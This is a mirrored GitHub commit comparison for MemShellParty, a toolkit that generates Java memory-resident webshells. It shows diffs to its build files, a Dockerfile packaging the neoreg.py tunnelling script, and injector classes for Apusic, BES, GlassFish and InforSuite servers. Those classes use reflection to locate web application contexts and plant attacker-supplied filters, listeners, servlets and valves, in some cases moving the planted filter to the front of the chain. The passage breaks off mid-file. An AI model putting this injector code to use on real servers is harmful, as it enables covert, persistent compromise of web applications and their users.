mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a1f32c5bf2 | ||
|
|
6b10b3f56f | ||
|
|
3e3d82218c | ||
|
|
202924aa54 | ||
|
|
054e22bc3d | ||
|
|
fa92930353 | ||
|
|
52437d67be | ||
|
|
117b48a9d0 | ||
|
|
3fe9a932ba | ||
|
|
1772c08f22 | ||
|
|
e44caeba1b | ||
|
|
4f080df85a | ||
|
|
7562469b44 | ||
|
|
359931a881 | ||
|
|
8c20f18c70 | ||
|
|
dace117e73 | ||
|
|
5c0d26ae16 | ||
|
|
8e9d47bbea | ||
|
|
c1f1802182 | ||
|
|
dc7958e123 | ||
|
|
d59bb9d29f | ||
|
|
3e966f8fab | ||
|
|
f940a528f0 | ||
|
|
0b48dd64bd | ||
|
|
bf213ae575 | ||
|
|
c8ede922b9 | ||
|
|
c0a059fbdc | ||
|
|
b4f8e62fc7 | ||
|
|
1c0d65b353 | ||
|
|
f26727e6fc | ||
|
|
2b1388c8eb | ||
|
|
9f7b4276e2 | ||
|
|
b992e5f60e | ||
|
|
de69a63be5 | ||
|
|
de462ae8b0 | ||
|
|
d873dae8f3 | ||
|
|
3e2fb861cd | ||
|
|
cbc71e5a52 | ||
|
|
ad8d2713ad | ||
|
|
b04a34f1ab | ||
|
|
2f325934e1 | ||
|
|
b47e437889 | ||
|
|
d1edb8fbdf |
@@ -12,7 +12,10 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -39,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@@ -34,23 +35,18 @@ public class ViewController {
|
|||||||
return renderFileData(relativePath, response);
|
return renderFileData(relativePath, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(4);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
@GetMapping("/ui/**")
|
||||||
public String handleHtmlView(HttpServletRequest request) {
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
String viewPath = fullPath.substring(4);
|
String docPath = fullPath.substring(4);
|
||||||
return viewPath + "/index";
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
}
|
}
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
@@ -61,8 +57,6 @@ public class ViewController {
|
|||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
return "File not found: " + relativePath;
|
return "File not found: " + relativePath;
|
||||||
}
|
}
|
||||||
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
|
||||||
response.setCharacterEncoding("UTF-8");
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
InputStreamReader reader = new InputStreamReader(
|
||||||
resource.getInputStream(),
|
resource.getInputStream(),
|
||||||
StandardCharsets.UTF_8
|
StandardCharsets.UTF_8
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.4.1"
|
version = "2.4.2"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
+24
-23
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.LinkedHashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
|
|||||||
Object filterMapping = filterMappingClass.newInstance();
|
Object filterMapping = filterMappingClass.newInstance();
|
||||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||||
|
LinkedHashSet newSet = new LinkedHashSet();
|
||||||
|
newSet.add(filterMapping);
|
||||||
|
newSet.addAll(beforeFilterMappings);
|
||||||
|
beforeFilterMappings.clear();
|
||||||
|
beforeFilterMappings.addAll(newSet);
|
||||||
|
|
||||||
// addFilterModel
|
// addFilterModel
|
||||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
@@ -218,30 +224,25 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+17
-22
@@ -40,7 +40,7 @@ public class ApusicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -197,30 +197,25 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+17
-22
@@ -40,7 +40,7 @@ public class ApusicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -198,30 +198,25 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+18
-23
@@ -40,7 +40,7 @@ public class BesFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -105,7 +105,7 @@ public class BesFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,30 +218,25 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+1
-1
@@ -36,7 +36,7 @@ public class BesListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class BesValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+40
-19
@@ -7,7 +7,10 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
Constructor<?>[] constructors;
|
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
// v7.0.0 以上
|
// addFilterMapFirst
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
} catch (Exception e) {
|
filterMaps.add(0, filterMap);
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
}
|
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+1
-1
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+55
-42
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
